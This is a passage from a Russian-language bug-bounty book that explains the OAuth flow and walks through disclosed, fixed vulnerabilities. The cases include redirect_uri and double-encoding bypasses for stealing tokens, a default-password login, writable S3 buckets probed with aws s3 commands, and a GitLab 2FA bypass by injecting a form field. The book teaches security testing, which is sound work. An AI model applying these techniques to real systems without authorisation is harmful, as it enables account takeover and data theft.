На момент написания у OAuth есть две версии, 1.0a и 2.0, которые несовместимы друг с другом. По OAuth написаны целые книги, но эта глава фокусируется
на OAuth 2.0 и базовом рабочем процессе OAuth.

Принцип работы OAuth  201

Принцип работы OAuth
В процессе аутентификации на основе OAuth участвуют три стороны:
‚‚ Владелец ресурса — пользователь, пытающийся войти через OAuth.
‚‚ Сервер ресурса — сторонний API-интерфейс, который аутентифицирует
владельца ресурса. Эту роль может играть любой сайт (Facebook, Google,
LinkedIn и т. д.).
‚‚ Клиент — стороннее приложение, которое посещает / использует владелец ресурса. Имеет доступ к данным сервера ресурса.
При попытке аутентификации с помощью OAuth клиент запрашивает доступ
к вашей информации у сервера ресурса (в данном случае у вас). Его может
интересовать полный набор ваших данных или их часть, ограниченная областями видимости. Например, пользователи в Facebook имеют такие области
видимости, как email, public_profile, user_friends и т. д. Если выдать клиенту
доступ только к email, он не сможет получить содержимое вашего профиля,
список друзей и т. п.
Процесс первого входа в клиент с использованием Facebook в качестве демонстрационного сервера ресурса начинается, когда вы открываете страницу
клиента и нажимаете кнопку Войти через Facebook. Клиент выполняет GETзапрос к конечной точке аутентификации, которая часто имеет такой путь:
https://www..com/oauth/facebook/. Shopify, к примеру, использует для
OAuth страницу Google с URL-адресом https://.myshopify.com/admin/
auth/login?google_apps=1/.
В ответ на этот HTTP-запрос клиент перенаправляет вас к серверу ресурса,
используя код 302. URL-адрес страницы перенаправления содержит следующие параметры, участвующие в процессе аутентификации:
‚‚ client_id идентифицирует клиент на сервере ресурса уникальным значением.
‚‚ redirect_uri определяет, куда сервер ресурса должен направить браузер
владельца после его аутентификации.
‚‚ response_type определяет тип возвращаемого ответа. Обычно это токен
или код. В случае возвращения токена пользователь сразу же получает до-

202   Глава 17. Уязвимости в OAuth

ступ к информации на сервере ресурса. Если вы получили код, его нужно
обменять на токен в ходе дополнительного этапа OAuth.
‚‚ Параметр scope определяет права доступа, которые клиент запрашивает
у сервера ресурса. В ходе первого запроса авторизации владельцу ресурса
должно быть показано диалоговое окно, в котором он может просмотреть
запрашиваемые области видимости и дать свое согласие.
‚‚ state — это случайное значение, предотвращающее подделку межсайтовых запросов. Оно должно присутствовать в HTTP-запросе к серверу ресурса. Это значение возвращается клиенту, чтобы злоумышленник не смог
инициировать процесс аутентификации от имени другого пользователя.
URL-адрес, инициирующий процедуру OAuth с помощью Facebook, выглядит
примерно так: https://www.facebook.com/v2.0/dialog/oauth?client_id=123&redirect_
uri=https%3A%2F%2Fwww..com%2Foauth%2Fcallback&response_type=toke
n&scope=email&state=XYZ.

Получив ответ с кодом перенаправления 302, браузер отправляет серверу
ресурса GET-запрос. Войдя на сервер ресурса, вы увидите диалоговое окно,
с помощью которого можно одобрить области видимости, запрашиваемые
клиентом. На рис. 17.2 показано, как веб-сайт Quora (клиент) запрашивает доступ к информации у Facebook (сервера ресурса) от имени владельца ресурса.
Нажатие кнопки Continue as John (Продолжить как Джон) приводит к одобрению запроса сайта Quora на получение доступа к перечисленным областям
видимости, включая профиль, список пользователей, дату рождения, родной
город владельца ресурса и прочие сведения. Когда владелец нажмет кнопку,
Facebook вернет HTTP-ответ с кодом 302, который перенаправит браузер
обратно к странице с URL-адресом, указанным в параметре redirect_uri.
Этот адрес также содержит токен и параметр state. Адрес перенаправления
из Facebook в Quora может выглядеть так (изменено в целях демонстрации):
https://www.quora.com?access_token=EAAAAH86O7bQBAApUu2ZBTuEo0MZA5xBXTQi
xBUYxrauhNqFtdxViQQ3CwtliGtKqljBZA8&expires_in=5625&state=F32AB83299DADDB
AACD82DA

Сервер Facebook вернул токен access_token, с помощью которого клиент Quora
мог сразу же получить доступ к информации о владельце ресурса. На этом участие владельца в процедуре OAuth завершено. Теперь клиент может напрямую
обращаться к Facebook API за нужной ему пользовательской информацией.

Принцип работы OAuth  203

Владелец сможет дальше использовать клиент, не зная о его взаимодействии
с API-интерфейсом.

Рис. 17.2. Вход в Quora через Facebook
с авторизацией областей видимости

Но если бы вместо access_token сайт Facebook вернул код, клиенту Quora
пришлось бы обменять его на токен, иначе он бы не смог запрашивать информацию у сервера ресурса. Для этого клиент и сервер взаимодействуют
напрямую, без участия браузера владельца. Чтобы получить токен, клиент
сам выполняет HTTP-запрос к серверу ресурса и передает в URL-адресе три
параметра: code (код доступа) client_id и client_secret. Код доступа — это
значение, которое сервер вернул через HTTP-перенаправление со статусом 302.
Параметр client_secret является конфиденциальным и должен храниться на
стороне клиента. Он генерируется сервером ресурса на этапе конфигурации
приложения и назначения client_id.
Наконец, получив от клиента запрос с параметрами client_secret, client_id
и code, сервер проверяет эти значения и возвращает в ответ access_token. После этого клиент получает возможность запрашивать у сервера информацию

204   Глава 17. Уязвимости в OAuth

о владельце ресурса, и процедура OAuth считается завершенной. Обычно,
если вы уже разрешили серверу ресурса предоставлять вашу информацию,
при следующем входе в клиент через Facebook процедура OAuth выполняется в фоновом режиме. Это взаимодействие можно будет наблюдать только
в случае мониторинга HTTP-запросов. Это поведение по умолчанию. Клиент
может его изменить так, чтобы владелец ресурса заново аутентифицировался
и одобрял области видимости, но это большая редкость.
То, насколько серьезной является уязвимость в OAuth, зависит от одобренных
областей видимости, связанных с токеном. В этом вы сами убедитесь на следующих примерах.

Похищение OAuth-токенов на сайте Slack
Сложность: низкая
URL: https://slack.com/oauth/authorize/
Источник: hackerone.com/reports/2575/
Дата подачи отчета: 1 марта 2013 года
Выплаченное вознаграждение: 100 долларов
Одна из распространенных уязвимостей в OAuth возникает, когда разработчик
неправильно настраивает или сравнивает допустимые параметры redirect_uri,
позволяя злоумышленникам похитить OAuth-токены. Прахар Прасад информировал компанию Slack о том, что он может обойти ограничения, указанные
в разрешенном адресе redirect_uri, за счет добавления к нему любых значений.
Иными словами, сайт Slack проверял лишь начало параметра redirect_uri.
Если разработчик регистрировал в Slack новое приложение и добавлял в белый список https://www..com, злоумышленник мог расширить этот
URL-адрес и выполнить перенаправление в непредвиденное место. Например, измененный адрес вида redirect_uri=https://.com отклонялся, но
позволял передать redirect_uri=https://www..com.mx.
Чтобы этим воспользоваться, злоумышленнику было достаточно создать
подходящий поддомен на своем вредоносном сайте. Если жертва открывала

Прохождение аутентификации с паролем по умолчанию  205

зараженный URL-адрес, сервер Slack передавал OAuth-токен сайту зло­
умышленника. Хакер мог инициировать запрос от имени жертвы, встроив
во вредоносную веб-страницу тег вроде . Это позволило бы автоматически сделать HTTP-запрос типа GET

при отображении страницы.

Выводы
Уязвимости, связанные с недостаточно строгой проверкой redirect_uri, являются распространенным примером неправильной конфигурации OAuth.
Иногда это вызвано тем, что в качестве допустимого значения redirect_uri
регистрируется домен вида *..com. Иногда причина в том, что сервер ресурса не проводит строгую проверку параметра redirect_uri от начала
и до конца. При поиске уязвимостей в OAuth проверяйте любые параметры,
которые могут участвовать в перенаправлении.

Прохождение аутентификации с паролем
по умолчанию
Сложность: низкая
URL: https://flurry.com/auth/v1/account/
Источник: https://lightningsecurity.io/blog/password-not-provided/
Дата подачи отчета: 30 июня 2017 года
Выплаченное вознаграждение: не разглашается
Поиск уязвимостей в любой реализации OAuth подразумевает исследование
всей процедуры аутентификации, от начала и до конца. Для этого в том числе
необходимо распознать HTTP-запросы, которые не являются частью стандартного процесса; их наличие часто сигнализирует о том, что разработчик
изменил механизм аутентификации и, возможно, сделал его уязвимым. Джек
Кейбл столкнулся с подобной ситуацией в работе с программой Bug Bounty
от Yahoo!, в которую входил аналитический сайт Flurry.com.

206   Глава 17. Уязвимости в OAuth

Чтобы начать тестирование, Кейбл зарегистрировал учетную запись на сайте
Flurry, используя свой адрес электронной почты @yahoo.com и реализацию
OAuth от Yahoo!. После того как Flurry и Yahoo! согласовали OAuth-токен,
заключительный POST-запрос к сайту Flurry выглядел так:
POST /auth/v1/account HTTP/1.1
Host: auth.flurry.com
Connection: close
Content-Length: 205
Content-Type: application/vnd.api+json
DNT: 1
Referer: https://login.flurry.com/signup
Accept-Language: en-US,en;q=0.8,la;q=0.6
{"data":{"type":"account","id":"...","attributes":{"email":...@yahoo.com,
"companyName":"1234","firstname":"jack","lastname":"cable","password":
"not-provided"}}}

Внимание Кейбла привлек фрагмент запроса "password":"not-provided" .
Выйдя из своей учетной записи, он открыл страницу https://login.flurry.com/
и аутентифицировался не через OAuth, а с помощью почтового адреса и пароля not-provided. Это сработало, и Кейбл смог войти в свою учетную запись.
Когда пользователь регистрировался на сайте Flurry с помощью своей учетной
записи Yahoo! и процедуры OAuth, система создавала для него отдельную
клиентскую учетную запись с паролем по умолчанию not-provided. Кейбл
сообщил об уязвимости, и проблема была устранена через пять часов.

Выводы
Нестандартные этапы OAuth часто плохо сконфигурированы и подвержены
уязвимостям, поэтому заслуживают проверки.

Похищение токенов для входа на сайт
Microsoft
Сложность: высокая
URL: https://login.microsoftonline.com

Похищение токенов для входа на сайт Microsoft  207

Источник: whitton.io/articles/obtaining-tokens-outlook-office-azure-account/
Дата подачи отчета: 24 января 2016 года
Выплаченное вознаграждение: 13 000 долларов
На сайте Microsoft не реализована стандартная процедура OAuth, но там
используется очень похожий процесс, который подходит для тестирования
OAuth-приложений. Тестируя OAuth или аналогичные механизмы аутентификации, тщательно проанализируйте то, как проверяются параметры
перенаправления. Для этого приложению можно передавать разные виды
URL-адресов. Этот подход помог Джеку Уиттону найти в процедуре входа на
сайт Microsoft способ похитить аутентификационные токены.
Компания Microsoft владеет множеством проектов, поэтому запросы для
аутентификации пользователей на разных сервисах направляются разным
доменам: login.live.com, login.microsoftonline.com или login.windows.net. Эти запросы возвращают пользователям сессии. Например, в случае с outlook.office.com
процедура выглядит так:
1. Пользователь заходит на сайт https://outlook.office.com.
2. Пользователь перенаправляется к https://login.microsoftonline.com/login.srf?wa=
wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&id=260563.
3. В случае успеха по адресу внутри wreply выполняется POST-запрос с параметром t, который содержит токен для пользователя.
При попытке поменять wreply на любой другой домен возникала ошибка.
Уиттон попробовал передавать символы с двойным кодированием, добавляя в конец URL-адреса %252f, чтобы получить https%3a%2f%2foutlook.office.
com%252f. В этом URL-адресе специальные символы : и / кодируются как %3a
и, соответственно, %2f. Кроме того, в исходном адресе следует закодировать
знак процента (%), чтобы при двойном кодировании он превратился в косую
черту %252f (кодирование специальных символов обсуждалось в разделе «Разделение HTTP-ответа в Twitter» на с. 77). Когда Уиттон подставил вместо
wreply полученный URL-адрес, приложение вернуло ошибку, сообщающую,
что адрес https://outlook.office.com%f не корректен.
Вслед за этим Уиттон добавил к домену @example.com и вместо ошибки получил
https://outlook.office.com%2f@example.com/?wa=wsignin1.0. Дело в том, что URL-

208   Глава 17. Уязвимости в OAuth

адрес имеет следующую структуру: [//[имя_пользователя:пароль@]домен[:порт]]
[/]путь[?запрос][#фрагмент]. Имя пользователя и пароль участвуют в базовой
HTTP-аутентификации сайта. Поэтому после добавления @example.com домен для перенаправления больше не выглядел как outlook.office.com. Вместо
этого пользователя можно было перенаправить к любому домену, который
контролировался злоумышленником.
По словам Уиттона, причиной этой уязвимости было то, что сайт Microsoft
выполнял декодирование и проверку URL-адреса в два этапа. На первом этапе
сайт проверял, является ли доменное имя корректным и соответствует ли оно
структуре URL-адреса. Адрес https://outlook.office.com%2f@example.com успешно
проходил проверку, поскольку строка outlook.office.com%2f воспринималась как
корректное имя пользователя.
На втором этапе сайт рекурсивно декодировал URL-адрес. Строка
https%3a%2f%2foutlook.office.com%252f@example.com превращалась в https://
outlook.office.com/@example.com, то есть фрагмент @example.com после косой
черты интерпретировался как часть пути, а доменное имя выглядело как
outlook.office.com.
Сайт Microsoft проверял структуру URL-адреса, декодировал его и подтверждал его присутствие в белом списке. Но в качестве ответа возвращался адрес,
декодированный один раз. То есть при посещении https://login.microsoftonline.
com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%252f@
example.com&id=260563 токен жертвы отправлялся сайту example.com. Хакер,

владевший этим сайтом, мог войти в сервис Microsoft, к которому относился
полученный токен, и читать учетные записи других пользователей.

Выводы
В ходе исследования параметров перенаправления в процедуре OAuth добавьте к конечному URI-адресу @example.com и посмотрите, как поведет себя
приложение. Это особенно актуально, если в процессе аутентификации используются закодированные символы, которые должны быть декодированы
перед проверкой вхождения URL-адреса в белый список. Во время тестирования обращайте внимание на незначительные изменения в поведении
сайта.

Похищение официальных токенов доступа на сайте Facebook  209

Похищение официальных токенов доступа
на сайте Facebook
Сложность: высокая
URL: https://www.facebook.com
Источник: philippeharewood.com/swiping-facebook-official-access-tokens/
Дата подачи отчета: 29 февраля 2016 года
Выплаченное вознаграждение: не разглашается
При поиске уязвимостей обращайте внимание на ресурсы интересующего вас
приложения, о которых разработчики могли забыть. Филиппе Хэйрвуд поставил перед собой цель: похитить токен пользователя Facebook и получить
доступ к его конфиденциальной информации. Однако ему не удалось найти
никаких ошибок в реализации OAuth на сайте Facebook. Не отчаявшись, он
поменял свой план и начал искать приложение Facebook, которое можно захватить как поддомен.
Он знал, что Facebook владеет приложениями, которые автоматически авторизуются с помощью OAuth, используя учетные записи этой платформы.
С их списком можно было ознакомиться на странице https://www.facebook.com/
search/me/apps-used/.
В списке Хэйрвуд нашел один проект, который по-прежнему был авторизован,
хотя компания Facebook им больше не владела и не использовала его домен.
Это означало, что Хэйрвуд мог зарегистрировать одобренное доменное имя
в качестве параметра redirect_uri и получить токен любого пользователя
Facebook, который посещал конечную точку авторизации OAuth https://facebook.
com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=APP_ID&redirect_
uri=REDIRECT_URI/.

В этом URL-адресе идентификатор уязвимого приложения обозначен в виде
параметра APP_ID, который предоставлял доступ ко всем областям видимости OAuth. Домен, входивший в белый список, обозначен как REDIRECT _URI
(Хэйрвуд не уточнил, какое именно приложение было неправильно сконфигурировано). Поскольку приложение уже было авторизовано для каждой

210   Глава 17. Уязвимости в OAuth

учетной записи Facebook, при щелчке по этой ссылке пользователю не нужно
было подтверждать запрашиваемые области видимости. Кроме того, вся процедура OAuth выполнялась посредством фоновых HTTP-запросов. Открыв
этот URL-адрес для аутентификации на сайте Facebook, пользователь перенаправлялся к странице с подобным адресом http://REDIRECT_URI/#token=сюда_добавлялся_токен/.
Поскольку Хэйрвуд зарегистрировал домен REDIRECT_URI, он мог записывать
токены любых пользователей, открывавших этот URL-адрес, что давало ему
доступ к их учетным записям на сайте Facebook. Кроме того, все официальные
токены Facebook имели доступ к другим приложениям этой компании, таким
как Instagram. В итоге Хэйрвуд мог аутентифицироваться на этих сайтах от
имени жертвы.

Выводы
При поиске уязвимостей обращайте внимание на ресурсы, о которых могли
забыть владельцы сайта. Иногда это могут быть записи CNAME для поддоменов и зависимости приложений, такие как Ruby Gems, библиотеки JavaScript
и т. д. Перед началом тестирования ставьте перед собой четкую цель. В ходе
исследования крупного приложения это позволит не отвлекаться на проверку
его бесчисленных аспектов.

Итоги
Несмотря на то что процедура аутентификации OAuth является стандартизированной, разработчики могут допустить ошибку в ее конфигурации. Неочевидные уязвимости позволяют злоумышленнику похитить токены авторизации
и получить доступ к конфиденциальным данным жертвы. Исследуя приложения
с поддержкой OAuth, тщательно исследуйте параметр redirect_uri, чтобы понять, несколько корректно приложение его проверяет при отправке токенов.
Ищите нестандартные механизмы аутентификации на основе процедуры OAuth,
которые подвержены уязвимостям. Если вам не удается найти ничего подозрительного, не забудьте проверить одобренные ресурсы. Возможно, разработчики
забыли о каком-то приложении, которому клиент доверяет по умолчанию.

18

Уязвимости в логике
и конфигурации
приложений

Мы рассмотрели уязвимости, основанные на возможности передачи вредоносного ввода. Теперь поговорим об ошибках в логике и конфигурации приложений, которые допускают разработчики. Уязвимости в логике приложения
возникают в результате логических ошибок в исходном коде и позволяют
злоумышленнику им пользоваться. Уязвимости в конфигурации являются
результатом неправильной настройки инструментов, фреймворков, сторонних
сервисов и других программ или кода.
Атаки этих двух типов заключаются в эксплуатации ошибочных решений, принятых разработчиками на этапе написания кода или конфигурации веб-сайта.
Поскольку причиной таких уязвимостей является человеческий фактор, они
иногда плохо поддаются описанию. Обратимся к примеру.
В марте 2012 года Егор Хомаков сообщил команде Ruby on Rails о том, что
конфигурация, которая по умолчанию генерировалась для проектов Rails,
небезопасна. Код нового сайта Rails во время установки принимал любые
параметры, которые передавались контроллеру при создании или обновлении записей в БД. То есть стандартная конфигурация позволяла кому угодно
послать HTTP-запрос на обновление параметров объекта, содержавших

212   Глава 18. Уязвимости в логике и конфигурации приложений

идентификатор, имя и пароль его владельца и дату его создания. При этом
не учитывалось, хотел ли разработчик сделать эти значения обновляемыми.
Эту ошибку обычно называют уязвимостью массового назначения, поскольку
любые передаваемые параметры присваиваются записям объекта.
Такое поведение не было секретом в сообществе Rails, но лишь немногие понимали, чем оно опасно. Основные разработчики проекта считали, что закрытием этой дыры в безопасности (то есть определением того, какие параметры
принимаются при создании и обновлении записей) должны были заниматься
сами владельцы сайтов. Обсуждение на эту тему можно почитать по адресу
github.com/rails/rails/issues/5228/.
Доводы Хомакова были отвергнуты, поэтому он показал уязвимость на примере GitHub (сайте, основанном на Rails). Он подобрал доступный параметр,
который использовался для обновления даты создания заявки (issue), и добавил его в соответствующий HTTP-запрос, указав еще не наступившую дату.
У пользователей GitHub не должно было быть такой возможности. Он также
обновил SSH-ключи, чтобы получить доступ к официальному репозиторию
на сайте GitHub, что являлось критической уязвимостью.
В ответ сообщество Rails пересмотрело свою позицию. С тех пор разработчики
должны добавлять допустимые параметры в белый список. Теперь конфигурация по умолчанию принимает только те значения, которые разработчик
пометил как безопасные.
Этот пример сочетает в себе уязвимости в логике и конфигурации приложения.
Процесс выявления таких уязвимостей может оказаться сложнее поиска
ошибок, рассмотренных нами ранее (которые тоже нелегко обнаружить).
В других примерах я покажу, как авторы отчетов напрямую обращались
к API-интерфейсу, сканировали тысячи IP-адресов в поиске плохо сконфигурированных серверов и обнаруживали возможности, которые не должны
были быть в публичном доступе. Для выполнения таких атак требуются общее
представление о веб-фреймворках и навыки проведения расследований, поэтому я сосредоточусь на отчетах, которые помогут вам развить эти качества,
независимо от размеров выплаченных вознаграждений.

Получение администраторских привилегий на сайте Shopify  213

Получение администраторских привилегий
на сайте Shopify
Сложность: низкая
URL: .myshopify.com/admin/mobile_devices.json
Источник: hackerone.com/reports/100938/
Дата подачи отчета: 22 ноября 2015 года
Выплаченное вознаграждение: 500 долларов
Сайт Shopify, как и GitHub, построен на основе фреймворка Ruby on Rails.
Популярность проекта Rails вызвана тем, что он берет на себя множество
распространенных и рутинных задач, таких как разбор параметров, маршрутизация запросов, раздача файлов и т. д. Однако по умолчанию он не управляет
правами доступа. Разработчики должны сами описать в своем коде нужные
права или установить стороннюю библиотеку (gem в терминологии Ruby),
которая этим занимается. Поэтому проверяйте в приложениях, написанных
на Rails, права доступа пользователей.
Хакер rms, заметил, что на сайте Shopify определено пользовательское разрешение под названием Settings. С его помощью администраторы могли указывать телефонные номера при размещении заказа на сайте. Пользователю,
не имевшему этого разрешения, не выводилось поле для номера телефона
в веб-интерфейсе.
Используя Burp в качестве прокси для записи HTTP-запросов, отправленных
сайту Shopify, rms нашел конечную точку, которая принимала данные HTMLфор­мы. Затем rms зашел в учетную запись, у которой было разрешение Settings,
добавил телефонный номер и сразу же его удалил. Во вкладке с историей запросов Burp появилась запись, относившаяся к добавлению номера, которая
содержала конечную точку /admin/mobile_numbers.json. Затем rms убрал разрешение Settings из учетной записи. В результате пользователь должен был
потерять возможность добавления номеров телефона.
С помощью инструмента Burp Repeater rms обошел HTML-форму и послал
HTTP-за­прос по адресу /admin/mobile_number.json от имени пользователя, у ко-

214   Глава 18. Уязвимости в логике и конфигурации приложений

торого не было разрешения Settings. Ответ указывал на успешность запроса.
После размещения проверочного заказа на заданный номер пришло уведомление. Разрешение Settings всего лишь скрывало элемент пользовательского
интерфейса, предназначенный для ввода телефонных номеров. Но его отсутствие не мешало пользователю отправить номер серверу сайта.

Выводы
В ходе исследования приложений на основе Rails не забудьте проверить все
пользовательские разрешения, так как этот фреймворк по умолчанию не
проверяет права доступа. Эта обязанность ложится на плечи разработчиков,
которые могут пропустить какую-нибудь проверку. Кроме того, свой трафик
лучше пропускать через прокси. Это позволит вам с легкостью определять
конечные точки и воспроизводить HTTP-запросы, которые могут быть недоступны в веб-интерфейсе.

Обход защиты учетных записей на сайте
Twitter
Сложность: низкая
URL: https://twitter.com
Источник: нет
Дата подачи отчета: октябрь 2016 года
Выплаченное вознаграждение: 560 долларов
Учитывайте отличия между веб-сайтом и мобильной версией приложения.
У них может быть разная программная логика. Разработчики, которые не обращают на это внимание, могут создать уязвимости.
Аарон Уллгер заметил, что при первом посещении (с незнакомого IP-адреса)
Twitter требовал ввести дополнительные данные перед аутентификацией.
Обычно это был адрес электронной почты или телефонный номер, привязанный к учетной записи. Эта мера предосторожности в случае утечки пароля

Манипуляция репутацией пользователей на сайте HackerOne  215

пользователя не позволяла злоумышленнику войти на сайт без указания дополнительной информации.
В ходе исследования Уллгер подключился с помощью своего телефона к серверу
VPN, чтобы получить новый IP-адрес. Когда он заходил на сайт Twitter с этого
неопознанного адреса, используя свой браузер, ему предлагалось ввести дополнительные данные, но при входе с телефона этого не происходило. Следовательно, если бы злоумышленник взломал его учетную запись, он мог бы обойти
дополнительную проверку безопасности, используя для входа мобильный телефон. Кроме того, хакер мог видеть телефонный номер и почтовый адрес пользователя в приложении, что позволило бы ему выполнить вход через веб-сайт.
Разработчики Twitter проверили и исправили эту проблему, выплатив Уллгеру
560 долларов.

Выводы
Проверьте, существуют ли отличия в защите приложения на разных платформах и при доступе к нему разными методами. Веб-сайты могут использовать
не только браузерную и мобильную версии, но и сторонние приложения или
конечные точки API-интерфейса.

Манипуляция репутацией пользователей
на сайте HackerOne
Сложность: низкая
URL: hackerone.com/reports/
Источник: hackerone.com/reports/106305
Дата подачи отчета: 21 декабря 2015 года
Выплаченное вознаграждение: 500 долларов
При разработке сайта программисты активно тестируют новые возможности,
но могут забыть о редко используемых элементах ввода или о взаимодействии
функций с другими частями сайта.

216  Глава 18. Уязвимости в логике и конфигурации приложений

Функция Signal на платформе HackerOne отображает средний показатель
репутации хакера на основе поданных им закрытых отчетов. Если отчет закрывался с пометкой «спам», репутация уменьшалась на 10 баллов, за пометку
«неприменимо» хакер получал -5 баллов, за «информативно» — 0 баллов, а за
«решено» — 7 баллов.
Когда эта функция появилась, Ашиш Паделкар обнаружил, что пользователи
начали манипулировать статистикой, самостоятельно закрывая отчеты. Самостоятельное закрытие — это отдельная функция, которая позволяла хакеру
отозвать свой отчет в случае допущения ошибки, за что присваивалось 0 баллов.
Паделкар заметил, что этот ноль использовался при вычислении репутации.
Поэтому любой пользователь с отрицательной репутацией мог повысить свой
средний показатель за счет закрытия собственных отчетов.
В итоге разработчики HackerOne перестали учитывать баллы за самостоятельное закрытие отчетов при вычислении среднего показателя, а Паделкару
было выплачено вознаграждение в размере 500 долларов.

Выводы
Новые функции сайтов заслуживают проверки.

Некорректные права доступа к бакету S3
на сайте HackerOne
Сложность: средняя
URL: [УДАЛЕНО].s3.amazonaws.com
Источник: hackerone.com/reports/128088/
Дата подачи отчета: 3 апреля 2016 года
Выплаченное вознаграждение: 2500 долларов
Иногда может показаться, что все ошибки в приложении были найдены еще
до того, как вы начали свое исследование. Но не стоит переоценивать безопас-

Некорректные права доступа к бакету S3 на сайте HackerOne  217

ность сайта и те его возможности, которые уже успели протестировать другие
хакеры. Мне пришлось перебороть этот образ мышления во время поиска
уязвимостей в конфигурации сайта HackerOne.
Я заметил, что компания Shopify опубликовала отчет о неправильно сконфигурированных бакетах Amazon S3, и решил поискать аналогичные ошибки.
Многие платформы используют S3 для хранения и раздачи статического
контента, такого как изображения. Как и любой другой сервис в AWS, S3
имеет сложные права доступа, при настройке которых легко ошибиться. На
момент подачи этого отчета пользователям были доступны права на чтение, запись и чтение / запись. Запись и чтение / запись позволяли любому
владельцу учетной записи AWS изменять любые файлы, даже хранящиеся
в закрытом бакете.
В процессе поиска уязвимостей на веб-сайте HackerOne я заметил, что изображения пользователей хранились в бакете S3 с именем hackerone-profilephotos. Я понял, по какому принципу в HackerOne называют бакеты. Чтобы
узнать больше о взломе S3, я начал изучать предыдущие отчеты об аналогичных ошибках. К сожалению, в них не уточнялось, как именно были найдены
уязвимые бакеты и каким образом было подтверждено наличие уязвимости.
Дальше я поискал информацию в интернете и нашел две статьи: community.
rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets/ и digi.ninja/projects/
bucket_finder.php/.
В статье на сайте Rapid7 подробно описывался подход к обнаружению публично доступных бакетов S3 с помощью фаззинга (fuzzing). Для этого составлялся
список корректных названий бакетов с распространенными словами, такими
как backup, images, files, media и т. д. В результате использования разных сочетаний этих слов удавалось получить тысячи вариантов имен. Затем хакеры
пытались получить доступ к соответствующим бакетам, применяя утилиты
командной строки AWS. Во второй статье приводится скрипт bucket_finder,
который принимал список возможных имен и проверял, существуют ли бакеты
с такими названиями. Если бакет существовал, скрипт пытался прочитать его
содержимое с помощью утилит командной строки AWS.
Я создал список потенциальных имен бакетов для сайта HackerOne
(hackerone , hackerone.marketing , hackerone.attachments , hackerone.users ,
hackerone.files и т. д.) и передал его скрипту bucket_finder. В результате

218   Глава 18. Уязвимости в логике и конфигурации приложений

было найдено несколько бакетов, но ни один из них не был доступен для
чтения. При этом я заметил, что бакеты не проверялись на запись. Поэтому
я создал текстовый файл и попытался скопировать его в первый найденный
бакет, используя команду aws s3 mv test.txt s3://hackerone.marketing.
Результат был таким:
move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error
(AccessDenied) occurred when calling the PutObject operation: Access Denied

При следующей попытке, aws s3 mv test.txt s3://hackerone.files, я получил
такой ответ:
move: ./test.txt to s3://hackerone.files/test.txt

Получилось! Затем я попробовал удалить файл с помощью команды aws s3
rm s3://hackerone.files/test.txt, что тоже увенчалось успехом.
Я мог записывать и удалять файлы из бакета. Злоумышленник теоретически
мог бы скопировать туда вредоносный файл в надежде на то, что один из сотрудников HackerOne его откроет. Во время составления своего отчета я осо­
знал, что найденный мною бакет мог и не принадлежать компании HackerOne,
так как Amazon позволяет регистрировать бакеты с любыми именами. Я не
был уверен, стоит ли подавать отчет, не подтвердив факт владения, но решил рискнуть. В течение нескольких часов уязвимость была подтверждена
и исправлена; при этом были найдены другие бакеты с некорректной конфигурацией. К чести HackerOne, эти дополнительные бакеты были учтены
в выплаченном вознаграждении.

Выводы
Сайт HackerOne имеет отличную команду разработчиков с хакерским образом
мышления и опытом. Но даже самый лучший разработчик может допустить
ошибку. Не бойтесь и не стесняйтесь исследовать приложения или отдельные функции. Обращайте внимание на сторонние инструменты, в настройке
которых можно легко ошибиться. Кроме того, когда вам встречаются статьи
или публично доступные отчеты о новых концепциях, пытайтесь разобраться
в том, как их авторам удалось обнаружить уязвимость.

Обход двухфакторной аутентификации на сайте GitLab  219

Обход двухфакторной аутентификации
на сайте GitLab
Сложность: средняя
URL: нет
Источник: hackerone.com/reports/128085/
Дата подачи отчета: 3 апреля 2016 года
Выплаченное вознаграждение: не разглашается
Двухфакторная аутентификация (two-factor authentication, или 2FA) — это
мера предосторожности, которая состоит в добавлении второго этапа в процедуру входа на сайт, который ранее состоял только из ввода имени и пароля.
Обычно для второго шага пользователю отправляется код авторизации (с помощью электронной почты, SMS или специального приложения), который тот
должен ввести после отправки имени и пароля. Корректная реализация таких
механизмов может быть непростой задачей, что является хорошим поводом
для поиска уязвимостей в логике приложения.
Джоберт Абма нашел такую уязвимость в GitLab. Она позволяла злоумышленнику войти в учетную запись жертвы без знания пароля с помощью 2FA.
Абма заметил, что при вводе код авторизации на сайте выполнялся POST-запрос:
POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--пропуск- ----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"
 212421
----------1881604860—

Пользователя аутентифицировал OTP-токен , который генерировался только
после ввода имени пользователя и пароля, однако при входе в собственную
учетную запись злоумышленник мог перехватить запрос с помощью инструмента вроде Burp и указать чужое имя. Это позволяло войти в другую учетную
запись. Например, чтобы аутентифицироваться как john, можно было послать
следующий запрос:

220   Глава 18. Уязвимости в логике и конфигурации приложений

POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--пропуск- ----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"
212421
----------1881604860
 Content-Disposition: form-data; name="user[login]"
john
----------1881604860—

Запрос user[login] говорил веб-сайту GitLab о том, что пользователь уже ввел
свои имя и пароль, хотя это было не так. В результате для учетной записи john
генерировался OTP-токен, который злоумышленник мог подобрать и ввести на
сайте. В случае отправки правильного токена он мог войти на сайт без пароля.
Но злоумышленник должен был либо знать, либо угадать OTP-токен жертвы.
OTP-токены меняются каждые 30 секунд и генерируются только при попытке
входа или отправке запроса user[login]. Воспользоваться этой ошибкой непросто. Тем не менее разработчики GitLab подтвердили и исправили данную
проблему в течение двух дней с момента подачи отчета.

Выводы
Систему двухфакторной аутентификации довольно сложно реализовать корректно. Заметив сайт с поддержкой 2FA, проверьте такие его характеристики,
как время жизни токенов, максимальное количество попыток входа и т. д. Также попробуйте определить, можно ли повторно использовать просроченные
токены, насколько легко их подобрать и т. п.

Раскрытие страницы PHP Info на сайте Yahoo!
Сложность: средняя
URL: http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php/
Источник: blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/

Раскрытие страницы PHP Info на сайте Yahoo!  221

Дата подачи отчета: 16 октября 2014 года
Выплаченное вознаграждение: отсутствует
В отличие от других отчетов, приведенных в данной главе, этот не был оплачен. Тем не менее он демонстрирует, насколько важную роль играют сетевое
